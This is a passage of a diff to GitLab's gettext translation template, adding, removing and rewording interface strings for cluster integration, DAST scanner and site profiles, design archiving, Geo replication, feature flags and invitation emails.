msgid "ClusterIntegration|To remove your integration, type %{clusterName} to confirm:"
msgstr ""
+msgid "ClusterIntegration|To use a new project, first create one on %{docsLinkStart}Google Cloud Platform%{docsLinkEnd}."
+msgstr ""
+
msgid "ClusterIntegration|Uninstall %{appTitle}"
msgstr ""
@@ -5885,6 +6029,9 @@ msgstr ""
msgid "ClusterIntegration|We could not verify that one of your projects on GCP has billing enabled. Please try again."
msgstr ""
+msgid "ClusterIntegration|We were unable to fetch any projects. Ensure that you have a project on %{docsLinkStart}Google Cloud Platform%{docsLinkEnd}."
+msgstr ""
+
msgid "ClusterIntegration|With a Kubernetes cluster associated to this project, you can use review apps, deploy your applications, run your pipelines, and much more in an easy way."
msgstr ""
@@ -5900,9 +6047,6 @@ msgstr ""
msgid "ClusterIntegration|You are about to update %{appTitle} on your cluster."
msgstr ""
-msgid "ClusterIntegration|You must first install Helm Tiller before installing the applications below"
-msgstr ""
-
msgid "ClusterIntegration|You must grant access to your organization’s AWS resources in order to create a new EKS cluster. To grant access, create a provision role using the account and external ID below and provide us the ARN."
msgstr ""
@@ -5933,7 +6077,7 @@ msgstr ""
msgid "ClusterIntegration|access to Google Kubernetes Engine"
msgstr ""
-msgid "ClusterIntegration|documentation"
+msgid "ClusterIntegration|can be used instead of a custom domain. "
msgstr ""
msgid "ClusterIntegration|installed via %{linkStart}Cloud Run%{linkEnd}"
@@ -6110,6 +6254,12 @@ msgstr ""
msgid "Comment/Reply (quoting selected text)"
msgstr ""
+msgid "Commenting on files that replace or are replaced by symbolic links is currently not supported."
+msgstr ""
+
+msgid "Commenting on symbolic links that replace or are replaced by files is currently not supported."
+msgstr ""
+
msgid "Comments"
msgstr ""
@@ -6310,7 +6460,7 @@ msgstr ""
msgid "Configure Tracing"
msgstr ""
-msgid "Configure a <code>.gitlab-webide.yml</code> file in the <code>.gitlab</code> directory to start using the Web Terminal. %{helpStart}Learn more.%{helpEnd}"
+msgid "Configure a %{codeStart}.gitlab-webide.yml%{codeEnd} file in the %{codeStart}.gitlab%{codeEnd} directory to start using the Web Terminal. %{helpStart}Learn more.%{helpEnd}"
msgstr ""
msgid "Configure automatic git checks and housekeeping on repositories."
@@ -6763,9 +6913,6 @@ msgstr ""
msgid "Copy"
msgstr ""
-msgid "Copy %{field}"
-msgstr ""
-
msgid "Copy %{http_label} clone URL"
msgstr ""
@@ -6850,6 +6997,9 @@ msgstr ""
msgid "Copy the code below to implement tracking in your application:"
msgstr ""
+msgid "Copy to clipboard"
+msgstr ""
+
msgid "Copy token"
msgstr ""
@@ -6862,6 +7012,9 @@ msgstr ""
msgid "Could not add admins as members"
msgstr ""
+msgid "Could not archive %{design}. Please try again."
+msgstr ""
+
msgid "Could not authorize chat nickname. Try again!"
msgstr ""
@@ -6886,15 +7039,21 @@ msgstr ""
msgid "Could not create group"
msgstr ""
+msgid "Could not create issue"
+msgstr ""
+
msgid "Could not create project"
msgstr ""
-msgid "Could not delete %{design}. Please try again."
+msgid "Could not create wiki page"
msgstr ""
msgid "Could not delete chat nickname %{chat_name}."
msgstr ""
+msgid "Could not delete wiki page"
+msgstr ""
+
msgid "Could not find design."
msgstr ""
@@ -6925,6 +7084,9 @@ msgstr ""
msgid "Could not save prometheus manual configuration"
msgstr ""
+msgid "Could not udpdate wiki page"
+msgstr ""
+
msgid "Could not update the LDAP settings"
msgstr ""
@@ -6940,6 +7102,11 @@ msgstr ""
msgid "Coverage Fuzzing"
msgstr ""
+msgid "Coverage value for this pipeline was calculated by the coverage value of %d job."
+msgid_plural "Coverage value for this pipeline was calculated by averaging the resulting coverage values of %d jobs."
+msgstr[0] ""
+msgstr[1] ""
+
msgid "Create"
msgstr ""
@@ -7030,6 +7197,9 @@ msgstr ""
msgid "Create file"
msgstr ""
+msgid "Create from"
+msgstr ""
+
msgid "Create group"
msgstr ""
@@ -7066,6 +7236,9 @@ msgstr ""
msgid "Create new branch"
msgstr ""
+msgid "Create new confidential %{issuableType}"
+msgstr ""
+
msgid "Create new directory"
msgstr ""
@@ -7090,6 +7263,9 @@ msgstr ""
msgid "Create project label"
msgstr ""
+msgid "Create release"
+msgstr ""
+
msgid "Create requirement"
msgstr ""
@@ -7261,6 +7437,9 @@ msgstr ""
msgid "Custom hostname (for private commit emails)"
msgstr ""
+msgid "Custom metrics"
+msgstr ""
+
msgid "Custom notification events"
msgstr ""
@@ -7357,6 +7536,15 @@ msgstr ""
msgid "Customize your pipeline configuration."
msgstr ""
+msgid "CustomizeHomepageBanner|Do you want to customize this page?"
+msgstr ""
+
+msgid "CustomizeHomepageBanner|Go to preferences"
+msgstr ""
+
+msgid "CustomizeHomepageBanner|This page shows a list of your projects by default but it can be changed to show projects' activity, groups, your to-do list, assigned issues, assigned merge requests, and more. You can change this under \"Homepage content\" in your preferences"
+msgstr ""
+
msgid "Cycle Time"
msgstr ""
@@ -7521,6 +7709,9 @@ msgstr ""
msgid "DAG visualization requires at least 3 dependent jobs."
msgstr ""
+msgid "DAST Profiles"
+msgstr ""
+
msgid "DNS"
msgstr ""
@@ -7551,25 +7742,55 @@ msgstr ""
msgid "Dashboard|Unable to add %{invalidProjects}. This dashboard is available for public projects, and private projects in groups with a Silver plan."
msgstr ""
+msgid "DastProfiles|Are you sure you want to delete this profile?"
+msgstr ""
+
+msgid "DastProfiles|Could not create the scanner profile. Please try again."
+msgstr ""
+
msgid "DastProfiles|Could not create the site profile. Please try again."
msgstr ""
+msgid "DastProfiles|Could not delete scanner profile. Please refresh the page, or try again later."
+msgstr ""
+
+msgid "DastProfiles|Could not delete scanner profiles:"
+msgstr ""
+
+msgid "DastProfiles|Could not delete site profile. Please refresh the page, or try again later."
+msgstr ""
+
+msgid "DastProfiles|Could not delete site profiles:"
+msgstr ""
+
+msgid "DastProfiles|Could not fetch scanner profiles. Please refresh the page, or try again later."
+msgstr ""
+
+msgid "DastProfiles|Could not fetch site profiles. Please refresh the page, or try again later."
+msgstr ""
+
msgid "DastProfiles|Could not update the site profile. Please try again."
msgstr ""
+msgid "DastProfiles|Do you want to discard this scanner profile?"
+msgstr ""
+
msgid "DastProfiles|Do you want to discard this site profile?"
msgstr ""
msgid "DastProfiles|Do you want to discard your changes?"
msgstr ""
+msgid "DastProfiles|Download validation text file"
+msgstr ""
+
msgid "DastProfiles|Edit feature will come soon. Please create a new profile if changes needed"
msgstr ""
msgid "DastProfiles|Edit site profile"
msgstr ""
-msgid "DastProfiles|Error fetching the profiles list. Please check your network connection and try again."
+msgid "DastProfiles|Error Details"
msgstr ""
msgid "DastProfiles|Manage Profiles"
@@ -7578,7 +7799,16 @@ msgstr ""
msgid "DastProfiles|Manage profiles"
msgstr ""
-msgid "DastProfiles|New Site Profile"
+msgid "DastProfiles|Minimum = 0 (no timeout enabled), Maximum = 2880 minutes"
+msgstr ""
+
+msgid "DastProfiles|Minimum = 1 second, Maximum = 3600 seconds"
+msgstr ""
+
+msgid "DastProfiles|New Profile"
+msgstr ""
+
+msgid "DastProfiles|New scanner profile"
msgstr ""
msgid "DastProfiles|New site profile"
@@ -7590,6 +7820,9 @@ msgstr ""
msgid "DastProfiles|Please enter a valid URL format, ex: http://www.example.com/home"
msgstr ""
+msgid "DastProfiles|Please enter a valid timeout value"
+msgstr ""
+
msgid "DastProfiles|Profile name"
msgstr ""
@@ -7599,12 +7832,69 @@ msgstr ""
msgid "DastProfiles|Save profile"
msgstr ""
+msgid "DastProfiles|Scanner Profile"
+msgstr ""
+
+msgid "DastProfiles|Scanner Profiles"
+msgstr ""
+
+msgid "DastProfiles|Site Profile"
+msgstr ""
+
msgid "DastProfiles|Site Profiles"
msgstr ""
+msgid "DastProfiles|Site is not validated yet, please follow the steps."
+msgstr ""
+
+msgid "DastProfiles|Site must be validated to run an active scan."
+msgstr ""
+
+msgid "DastProfiles|Spider timeout"
+msgstr ""
+
+msgid "DastProfiles|Step 1 - Choose site validation method"
+msgstr ""
+
+msgid "DastProfiles|Step 2 - Add following text to the target site"
+msgstr ""
+
+msgid "DastProfiles|Step 3 - Confirm text file location and validate"
+msgstr ""
+
msgid "DastProfiles|Target URL"
msgstr ""
+msgid "DastProfiles|Target timeout"
+msgstr ""
+
+msgid "DastProfiles|Text file validation"
+msgstr ""
+
+msgid "DastProfiles|The maximum number of seconds allowed for the site under test to respond to a request."
+msgstr ""
+
+msgid "DastProfiles|The maximum number of seconds allowed for the spider to traverse the site."
+msgstr ""
+
+msgid "DastProfiles|Validate"
+msgstr ""
+
+msgid "DastProfiles|Validate target site"
+msgstr ""
+
+msgid "DastProfiles|Validating..."
+msgstr ""
+
+msgid "DastProfiles|Validation failed, please make sure that you follow the steps above with the choosen method."
+msgstr ""
+
+msgid "DastProfiles|Validation must be turned off to change the target URL"
+msgstr ""
+
+msgid "DastProfiles|Validation succeeded. Both active and passive scans can be run against the target site."
+msgstr ""
+
msgid "Data is still calculating..."
msgstr ""
@@ -7677,7 +7967,7 @@ msgstr ""
msgid "Default classification label"
msgstr ""
-msgid "Default deletion adjourned period"
+msgid "Default deletion delay"
msgstr ""
msgid "Default description template for issues"
@@ -7755,10 +8045,10 @@ msgstr ""
msgid "Delete Comment"
msgstr ""
-msgid "Delete Package"
+msgid "Delete Snippet"
msgstr ""
-msgid "Delete Snippet"
+msgid "Delete account"
msgstr ""
msgid "Delete artifacts"
@@ -7815,6 +8105,9 @@ msgstr ""
msgid "Delete variable"
msgstr ""
+msgid "DeleteProject|Delete %{name}"
+msgstr ""
+
msgid "DeleteProject|Failed to remove project repository. Please try again or contact administrator."
msgstr ""
@@ -7836,15 +8129,24 @@ msgstr ""
msgid "Deleted"
msgstr ""
+msgid "Deleted Projects"
+msgstr ""
+
msgid "Deleted chat nickname: %{chat_name}!"
msgstr ""
-msgid "Deleted in this version"
+msgid "Deleted projects"
+msgstr ""
+
+msgid "Deleted projects cannot be restored!"
msgstr ""
msgid "Deleting"
msgstr ""
+msgid "Deleting a project places it into a read-only state until %{date}, at which point the project will be permanently deleted. Are you ABSOLUTELY sure?"
+msgstr ""
+
msgid "Deleting the license failed."
msgstr ""
@@ -7854,6 +8156,9 @@ msgstr ""
msgid "Deleting the license failed. You are not permitted to perform this action."
msgstr ""
+msgid "Deleting the project will delete its repository and all related resources including issues, merge requests etc."
+msgstr ""
+
msgid "Deletion pending. This project will be removed on %{date}. Repository and other project resources are read-only."
msgstr ""
@@ -7880,6 +8185,11 @@ msgid_plural "Dependencies|%d additional vulnerabilities not shown"
msgstr[0] ""
msgstr[1] ""
+msgid "Dependencies|%d more"
+msgid_plural "Dependencies|%d more"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "Dependencies|%d vulnerability detected"
msgid_plural "Dependencies|%d vulnerabilities detected"
msgstr[0] ""
@@ -7888,6 +8198,9 @@ msgstr[1] ""
msgid "Dependencies|%{remainingLicensesCount} more"
msgstr ""
+msgid "Dependencies|(top level)"
+msgstr ""
+
msgid "Dependencies|All"
msgstr ""
@@ -7900,6 +8213,9 @@ msgstr ""
msgid "Dependencies|Component name"
msgstr ""
+msgid "Dependencies|Dependency path"
+msgstr ""
+
msgid "Dependencies|Export as JSON"
msgstr ""
@@ -7918,6 +8234,9 @@ msgstr ""
msgid "Dependencies|The %{codeStartTag}dependency_scanning%{codeEndTag} job has failed and cannot generate the list. Please ensure the job is running properly and run the pipeline again."
msgstr ""
+msgid "Dependencies|There may be multiple paths"
+msgstr ""
+
msgid "Dependencies|Toggle vulnerability list"
msgstr ""
@@ -7956,8 +8275,8 @@ msgid_plural "Depends on %d merge requests being merged"
msgstr[0] ""
msgstr[1] ""
-msgid "Depends on <strong>%d closed</strong> merge request."
-msgid_plural "Depends on <strong>%d closed</strong> merge requests."
+msgid "Depends on %{strongStart}%{closedCount} closed%{strongEnd} merge request."
+msgid_plural "Depends on %{strongStart}%{closedCount} closed%{strongEnd} merge requests."
msgstr[0] ""
msgstr[1] ""
@@ -8002,7 +8321,7 @@ msgstr ""
msgid "DeployFreeze|No deploy freezes exist for this project. To add one, click %{strongStart}Add deploy freeze%{strongEnd}"
msgstr ""
-msgid "DeployFreeze|Specify times when deployments are not allowed for an environment. The <code>gitlab-ci.yml</code> file must be updated to make deployment jobs aware of the %{freeze_period_link_start}freeze period%{freeze_period_link_end}."
+msgid "DeployFreeze|Specify times when deployments are not allowed for an environment. The %{filename} file must be updated to make deployment jobs aware of the %{freeze_period_link_start}freeze period%{freeze_period_link_end}."
msgstr ""
msgid "DeployFreeze|Time zone"
@@ -8236,13 +8555,22 @@ msgstr ""
msgid "DesignManagement|Adding a design with the same filename replaces the file in a new version."
msgstr ""
-msgid "DesignManagement|Are you sure you want to cancel changes to this comment?"
+msgid "DesignManagement|Archive designs"
msgstr ""
-msgid "DesignManagement|Are you sure you want to cancel creating this comment?"
+msgid "DesignManagement|Archive selected"
msgstr ""
-msgid "DesignManagement|Are you sure you want to delete the selected designs?"
+msgid "DesignManagement|Archived designs will still be available in previous versions of the design collection."
+msgstr ""
+
+msgid "DesignManagement|Are you sure you want to archive the selected designs?"
+msgstr ""
+
+msgid "DesignManagement|Are you sure you want to cancel changes to this comment?"
+msgstr ""
+
+msgid "DesignManagement|Are you sure you want to cancel creating this comment?"
msgstr ""
msgid "DesignManagement|Cancel changes"
@@ -8275,15 +8603,6 @@ msgstr ""
msgid "DesignManagement|Could not update note. Please try again."
msgstr ""
-msgid "DesignManagement|Delete"
-msgstr ""
-
-msgid "DesignManagement|Delete designs confirmation"
-msgstr ""
-
-msgid "DesignManagement|Delete selected"
-msgstr ""
-
msgid "DesignManagement|Deselect all"
msgstr ""
@@ -8365,7 +8684,10 @@ msgstr ""
msgid "Detect host keys"
msgstr ""
-msgid "DevOps Score"
+msgid "DevOps"
+msgstr ""
+
+msgid "DevOps Report"
msgstr ""
msgid "Diff content limits"
@@ -8374,6 +8696,9 @@ msgstr ""
msgid "Diff limits"
msgstr ""
+msgid "Diff view settings"
+msgstr ""
+
msgid "Difference between start date and now"
msgstr ""
@@ -8386,7 +8711,10 @@ msgstr ""
msgid "Diffs|No file name available"
msgstr ""
-msgid "Diffs|Show unchanged lines"
+msgid "Diffs|Show %{unfoldCount} lines"
+msgstr ""
+
+msgid "Diffs|Show all unchanged lines"
msgstr ""
msgid "Diffs|Something went wrong while fetching diff lines."
@@ -8491,9 +8819,6 @@ msgstr ""
msgid "Discuss a specific suggestion or question."
msgstr ""
-msgid "Discussion"
-msgstr ""
-
msgid "Discussion to reply to cannot be found"
msgstr ""
@@ -8508,7 +8833,7 @@ msgid_plural "Dismiss %d selected vulnerabilities as"
msgstr[0] ""
msgstr[1] ""
-msgid "Dismiss DevOps Score introduction"
+msgid "Dismiss DevOps Report introduction"
msgstr ""
msgid "Dismiss Merge Request promotion"
@@ -8760,9 +9085,6 @@ msgstr ""
msgid "Edit comment"
msgstr ""
-msgid "Edit dashboard"
-msgstr ""
-
msgid "Edit description"
msgstr ""
@@ -9051,9 +9373,6 @@ msgstr ""
msgid "Enable usage ping"
msgstr ""
-msgid "Enable usage ping to get an overview of how you are using GitLab from a feature perspective."
-msgstr ""
-
msgid "Enable/disable your service desk. %{link_start}Learn more about service desk%{link_end}."
msgstr ""
@@ -9222,6 +9541,9 @@ msgstr ""
msgid "Environments in %{name}"
msgstr ""
+msgid "EnvironmentsAlert|%{severity} • %{title} %{text}. %{linkStart}View Details%{linkEnd} · %{startedAt} "
+msgstr ""
+
msgid "EnvironmentsDashboard|Add a project to the dashboard"
msgstr ""
@@ -9246,7 +9568,7 @@ msgstr ""
msgid "EnvironmentsDashboard|The environments dashboard provides a summary of each project's environments' status, including pipeline and alert statuses."
msgstr ""
-msgid "EnvironmentsDashboard|This dashboard displays a maximum of 7 projects and 3 environments per project. %{readMoreLink}"
+msgid "EnvironmentsDashboard|This dashboard displays a maximum of 7 projects and 3 environments per project, and is linked to the Operations Dashboard. When you add or remove a project from one dashboard, GitLab adds or removes the project from the other. %{readMoreLink}"
msgstr ""
msgid "Environments|An error occurred while canceling the auto stop, please try again"
@@ -9525,6 +9847,9 @@ msgstr ""
msgid "Epics|To schedule your epic's %{epicDateType} date based on milestones, assign a milestone with a %{epicDateType} date to any issue in the epic."
msgstr ""
+msgid "Epics|Unable to perform this action"
+msgstr ""
+
msgid "Epics|Unable to save epic. Please try again"
msgstr ""
@@ -9852,7 +10177,7 @@ msgstr ""
msgid "Exactly one of %{attributes} is required"
msgstr ""
-msgid "Example: <code>192.168.0.0/24</code>. %{read_more_link}."
+msgid "Example: %{ip_address}. %{read_more_link}."
msgstr ""
msgid "Example: @sub\\.company\\.com$"
@@ -9873,6 +10198,9 @@ msgstr ""
msgid "Excluding merge commits. Limited to 6,000 commits."
msgstr ""
+msgid "Existing branch name, tag, or commit SHA"
+msgstr ""
+
msgid "Existing members and groups"
msgstr ""
@@ -9882,9 +10210,6 @@ msgstr ""
msgid "Existing projects will be able to use expiration policies. Avoid enabling this if an external Container Registry is being used, as there is a performance risk if many images exist on one project."
msgstr ""
-msgid "Existing shares"
-msgstr ""
-
msgid "Existing sign in methods may be removed"
msgstr ""
@@ -9897,9 +10222,6 @@ msgstr ""
msgid "Expand approvers"
msgstr ""
-msgid "Expand down"
-msgstr ""
-
msgid "Expand dropdown"
msgstr ""
@@ -9909,9 +10231,6 @@ msgstr ""
msgid "Expand sidebar"
msgstr ""
-msgid "Expand up"
-msgstr ""
-
msgid "Expected documents: %{expected_documents}"
msgstr ""
@@ -9924,9 +10243,6 @@ msgstr ""
msgid "Expiration date"
msgstr ""
-msgid "Expiration not enforced"
-msgstr ""
-
msgid "Expired"
msgstr ""
@@ -10358,12 +10674,18 @@ msgstr ""
msgid "FeatureFlags|Flag becomes read only soon"
msgstr ""
+msgid "FeatureFlags|Flag is read-only"
+msgstr ""
+
msgid "FeatureFlags|Get started with feature flags"
msgstr ""
msgid "FeatureFlags|GitLab is moving to a new way of managing feature flags, and in 13.4, this feature flag will become read-only. Please create a new feature flag."
msgstr ""
+msgid "FeatureFlags|GitLab is moving to a new way of managing feature flags. This feature flag is read-only, and it will be removed in 14.0. Please create a new feature flag."
+msgstr ""
+
msgid "FeatureFlags|ID"
msgstr ""
@@ -10448,6 +10770,9 @@ msgstr ""
msgid "FeatureFlags|There was an error retrieving user lists"
msgstr ""
+msgid "FeatureFlags|To prevent accidental actions we ask you to confirm your intention. Please type %{projectName} to proceed or close this modal to cancel."
+msgstr ""
+
msgid "FeatureFlags|Try again in a few moments or contact your support team."
msgstr ""
@@ -10457,9 +10782,6 @@ msgstr ""
msgid "FeatureFlags|User List"
msgstr ""
-msgid "FeatureFlag|Delete strategy"
-msgstr ""
-
msgid "FeatureFlag|List"
msgstr ""
@@ -10499,6 +10821,9 @@ msgstr ""
msgid "File"
msgstr ""
+msgid "File %{current} of %{total}"
+msgstr ""
+
msgid "File Hooks"
msgstr ""
@@ -10724,6 +11049,9 @@ msgstr ""
msgid "Footer message"
msgstr ""
+msgid "For help setting up the Service Desk for your instance, please contact an administrator."
+msgstr ""
+
msgid "For internal projects, any logged in user can view pipelines and access job details (output logs and artifacts)"
msgstr ""
@@ -10895,30 +11223,15 @@ msgstr ""
msgid "GeoNodeSyncStatus|Node is slow, overloaded, or it just recovered after an outage."
msgstr ""
-msgid "GeoNodes|Attachments"
-msgstr ""
-
-msgid "GeoNodes|Checksummed"
-msgstr ""
-
msgid "GeoNodes|Consult Geo troubleshooting information"
msgstr ""
-msgid "GeoNodes|Container repositories"
-msgstr ""
-
msgid "GeoNodes|Data replication lag"
msgstr ""
-msgid "GeoNodes|Design repositories"
-msgstr ""
-
msgid "GeoNodes|Does not match the primary storage configuration"
msgstr ""
-msgid "GeoNodes|Failed"
-msgstr ""
-
msgid "GeoNodes|Full"
msgstr ""
@@ -10934,12 +11247,6 @@ msgstr ""
msgid "GeoNodes|Internal URL"
msgstr ""
-msgid "GeoNodes|Job artifacts"
-msgstr ""
-
-msgid "GeoNodes|LFS objects"
-msgstr ""
-
msgid "GeoNodes|Last event ID processed by cursor"
msgstr ""
@@ -10967,12 +11274,6 @@ msgstr ""
msgid "GeoNodes|Node's status was updated %{timeAgo}."
msgstr ""
-msgid "GeoNodes|Not checksummed"
-msgstr ""
-
-msgid "GeoNodes|Package files"
-msgstr ""
-
msgid "GeoNodes|Pausing replication stops the sync process. Are you sure?"
msgstr ""
@@ -10994,15 +11295,6 @@ msgstr ""
msgid "GeoNodes|Replication status"
msgstr ""
-msgid "GeoNodes|Repositories"
-msgstr ""
-
-msgid "GeoNodes|Repository checksum progress"
-msgstr ""
-
-msgid "GeoNodes|Repository verification progress"
-msgstr ""
-
msgid "GeoNodes|Selective (%{syncLabel})"
msgstr ""
@@ -11030,27 +11322,12 @@ msgstr ""
msgid "GeoNodes|Unused slots"
msgstr ""
-msgid "GeoNodes|Unverified"
-msgstr ""
-
msgid "GeoNodes|Updated %{timeAgo}"
msgstr ""
msgid "GeoNodes|Used slots"
msgstr ""
-msgid "GeoNodes|Verified"
-msgstr ""
-
-msgid "GeoNodes|Wiki checksum progress"
-msgstr ""
-
-msgid "GeoNodes|Wiki verification progress"
-msgstr ""
-
-msgid "GeoNodes|Wikis"
-msgstr ""
-
msgid "GeoNodes|With %{geo} you can install a special read-only and replicated instance anywhere. Before you add nodes, follow the %{instructions} in the exact order they appear."
msgstr ""
@@ -11063,6 +11340,12 @@ msgstr ""
msgid "GeoNodes|secondary nodes"
msgstr ""
+msgid "Geo|%{itemTitle} checksum progress"
+msgstr ""
+
+msgid "Geo|%{itemTitle} verification progress"
+msgstr ""
+
msgid "Geo|%{label} can't be blank"
msgstr ""
@@ -11126,6 +11409,12 @@ msgstr ""
msgid "Geo|Geo Status"
msgstr ""
+msgid "Geo|Go to the primary site"
+msgstr ""
+
+msgid "Geo|If you want to make changes, you must visit the primary site."
+msgstr ""
+
msgid "Geo|In progress"
msgstr ""
@@ -11258,10 +11547,10 @@ msgstr ""
msgid "Geo|Waiting for scheduler"
msgstr ""
-msgid "Geo|You are on a secondary, %{b_open}read-only%{b_close} Geo node. If you want to make changes, you must visit this page on the %{node_link_open}primary node%{node_link_close}."
+msgid "Geo|You are on a secondary, %{b_open}read-only%{b_close} Geo node."
msgstr ""
-msgid "Geo|You are on a secondary, %{b_open}read-only%{b_close} Geo node. You may be able to make a limited amount of changes or perform a limited amount of actions on this page."
+msgid "Geo|You may be able to make a limited amount of changes or perform a limited amount of actions on this page."
msgstr ""
msgid "Geo|misconfigured"
@@ -11438,7 +11727,7 @@ msgstr ""
msgid "GitLabPages|Force HTTPS (requires valid certificates)"
msgstr ""
-msgid "GitLabPages|GitLab Pages are disabled for this project. You can enable them on your project's %{strong_start}Settings > General > Visibility%{strong_end} page."
+msgid "GitLabPages|GitLab Pages are disabled for this project. You can enable them on your project's %{strong_start}Settings &gt; General &gt; Visibility%{strong_end} page."
msgstr ""
msgid "GitLabPages|It may take up to 30 minutes before the site is available after the first deployment."
@@ -11555,7 +11844,10 @@ msgstr ""
msgid "Go to %{link_to_google_takeout}."
msgstr ""
-msgid "Go to <strong>Issues</strong> > <strong>Boards</strong> to access your personalized learning issue board."
+msgid "Go to %{strongStart}Issues%{strongEnd} &gt; %{strongStart}Boards%{strongEnd} to access your personalized learning issue board."
+msgstr ""
+
+msgid "Go to Integrations"
msgstr ""
msgid "Go to Webhooks"
@@ -11837,6 +12129,9 @@ msgstr ""
msgid "Group project URLs are prefixed with the group namespace"
msgstr ""
+msgid "Group push rule exists, try updating"
+msgstr ""
+
msgid "Group requires separate account"
msgstr ""
@@ -12113,7 +12408,7 @@ msgstr ""
msgid "GroupSettings|Prevent sharing a project within %{group} with other groups"
msgstr ""
-msgid "GroupSettings|Projects will be permanently deleted after a %{waiting_period}-day waiting period. This period can be %{customization_link} in instance settings"
+msgid "GroupSettings|Projects will be permanently deleted after a %{waiting_period}-day delay. This delay can be %{customization_link} in instance settings"
msgstr ""
msgid "GroupSettings|Select a sub-group as the custom project template source for this group."
@@ -12326,6 +12621,9 @@ msgstr ""
msgid "Health status"
msgstr ""
+msgid "Health status cannot be edited because this issue is closed"
+msgstr ""
+
msgid "HealthCheck|Access token is"
msgstr ""
@@ -12341,6 +12639,9 @@ msgstr ""
msgid "Hello there"
msgstr ""
+msgid "Hello, %{username}!"
+msgstr ""
+
msgid "Help"
msgstr ""
@@ -12471,6 +12772,9 @@ msgstr ""
msgid "How many users will be evaluating the trial?"
msgstr ""
+msgid "How to upgrade"
+msgstr ""
+
msgid "However, you are already a member of this %{member_source}. Sign in using a different account to accept the invitation."
msgstr ""
@@ -12627,6 +12931,12 @@ msgstr ""
msgid "If you remove this license, GitLab will fall back on the previous license, if any."
msgstr ""
+msgid "If you want to re-enable two-factor authentication, visit %{two_factor_link}"
+msgstr ""
+
+msgid "If you want to re-enable two-factor authentication, visit the %{settings_link_to} page."
+msgstr ""
+
msgid "If your HTTP repository is not publicly accessible, add your credentials."
msgstr ""
@@ -12780,6 +13090,9 @@ msgstr ""
msgid "ImportProjects|Importing the project failed: %{reason}"
msgstr ""
+msgid "ImportProjects|Requesting namespaces failed"
+msgstr ""
+
msgid "ImportProjects|Requesting your %{provider} repositories failed"
msgstr ""
@@ -12795,6 +13108,9 @@ msgstr ""
msgid "ImportProjects|Update of imported projects with realtime changes failed"
msgstr ""
+msgid "Improve Issue Boards"
+msgstr ""
+
msgid "Improve Issue boards"
msgstr ""
@@ -12807,13 +13123,13 @@ msgstr ""
msgid "Improve customer support with GitLab Service Desk."
msgstr ""
-msgid "Improve search with Advanced Global Search and GitLab Enterprise Edition."
+msgid "Improve search with Advanced Search and GitLab Enterprise Edition."
msgstr ""
msgid "In %{time_to_now}"
msgstr ""
-msgid "In order to enable instance-level analytics, please ask an admin to enable %{usage_ping_link_start}usage ping%{usage_ping_link_end}."
+msgid "In order to enable Service Desk for your instance, you must first set up incoming email."
msgstr ""
msgid "In order to gather accurate feature usage data, it can take 1 to 2 weeks to see your index."
@@ -12822,21 +13138,24 @@ msgstr ""
msgid "In order to personalize your experience with GitLab%{br_tag}we would like to know a bit more about you."
msgstr ""
-msgid "In order to tailor your experience with GitLab we%{br_tag}would like to know a bit more about you."
-msgstr ""
-
msgid "In progress"
msgstr ""
msgid "In the next step, you'll be able to select the projects you want to import."
msgstr ""
+msgid "Incident"
+msgstr ""
+
msgid "Incident Management Limits"
msgstr ""
msgid "IncidentManagement|All"
msgstr ""
+msgid "IncidentManagement|All alerts promoted to incidents will automatically be displayed within the list. You can also create a new incident using the button below."
+msgstr ""
+
msgid "IncidentManagement|Assignees"
msgstr ""
@@ -12849,6 +13168,9 @@ msgstr ""
msgid "IncidentManagement|Date created"
msgstr ""
+msgid "IncidentManagement|Display your incidents in a dedicated view"
+msgstr ""
+
msgid "IncidentManagement|Incident"
msgstr ""
@@ -12867,6 +13189,9 @@ msgstr ""
msgid "IncidentManagement|Published to status page"
msgstr ""
+msgid "IncidentManagement|There are no closed incidents"
+msgstr ""
+
msgid "IncidentManagement|There was an error displaying the incidents."
msgstr ""
@@ -12942,6 +13267,9 @@ msgstr ""
msgid "Index all projects"
msgstr ""
+msgid "Index deletion is canceled"
+msgstr ""
+
msgid "Indicates whether this runner can pick jobs without tags"
msgstr ""
@@ -13008,6 +13336,9 @@ msgstr ""
msgid "Install on clusters"
msgstr ""
+msgid "Installation"
+msgstr ""
+
msgid "Installed"
msgstr ""
@@ -13022,7 +13353,7 @@ msgstr[1] ""
msgid "Instance Configuration"
msgstr ""
-msgid "Instance Statistics visibility"
+msgid "Instance Statistics"
msgstr ""
msgid "Instance administrators group already exists"
@@ -13049,6 +13380,12 @@ msgstr ""
msgid "Integrations|Comment settings:"
msgstr ""
+msgid "Integrations|Default settings are inherited from the group level."
+msgstr ""
+
+msgid "Integrations|Default settings are inherited from the instance level."
+msgstr ""
+
msgid "Integrations|Enable comments"
msgstr ""
@@ -13061,13 +13398,10 @@ msgstr ""
msgid "Integrations|Standard"
msgstr ""
-msgid "Integrations|This integration has multiple settings available."
-msgstr ""
-
msgid "Integrations|Use custom settings"
msgstr ""
-msgid "Integrations|Use instance level settings"
+msgid "Integrations|Use default settings"
msgstr ""
msgid "Integrations|When a Jira issue is mentioned in a commit or merge request a remote link and comment (if enabled) will be created."
@@ -13097,7 +13431,7 @@ msgstr ""
msgid "Introducing Value Stream Analytics"
msgstr ""
-msgid "Introducing Your DevOps Score"
+msgid "Introducing Your DevOps Report"
msgstr ""
msgid "Invalid Git ref"
@@ -13109,9 +13443,15 @@ msgstr ""
msgid "Invalid Login or password"
msgstr ""
+msgid "Invalid OS"
+msgstr ""
+
msgid "Invalid URL"
msgstr ""
+msgid "Invalid board"
+msgstr ""
+
msgid "Invalid container_name"
msgstr ""
@@ -13208,6 +13548,39 @@ msgstr ""
msgid "Invite teammates (optional)"
msgstr ""
+msgid "InviteEmail|%{inviter} invited you"
+msgstr ""
+
+msgid "InviteEmail|%{project_or_group} as a %{role}"
+msgstr ""
+
+msgid "InviteEmail|Join now"
+msgstr ""
+
+msgid "InviteEmail|You are invited!"
+msgstr ""
+
+msgid "InviteEmail|You have been invited"
+msgstr ""
+
+msgid "InviteEmail|to join the %{project_or_group_name} %{project_or_group} as a %{role}"
+msgstr ""
+
+msgid "InviteEmail|to join the %{strong_start}%{project_or_group_name}%{strong_end}"
+msgstr ""
+
+msgid "InviteMembersBanner|Collaborate with your team"
+msgstr ""
+
+msgid "InviteMembersBanner|Invite your colleagues"
+msgstr ""
+
+msgid "InviteMembersBanner|We noticed that you haven't invited anyone to this group. Invite your colleagues so you can discuss issues, collaborate on merge requests, and share your knowledge."
+msgstr ""
+
+msgid "Invited"
+msgstr ""
+
msgid "Invited users will be added with developer level permissions. You can always change this later."
msgstr ""
@@ -13247,6 +13620,9 @@ msgstr ""
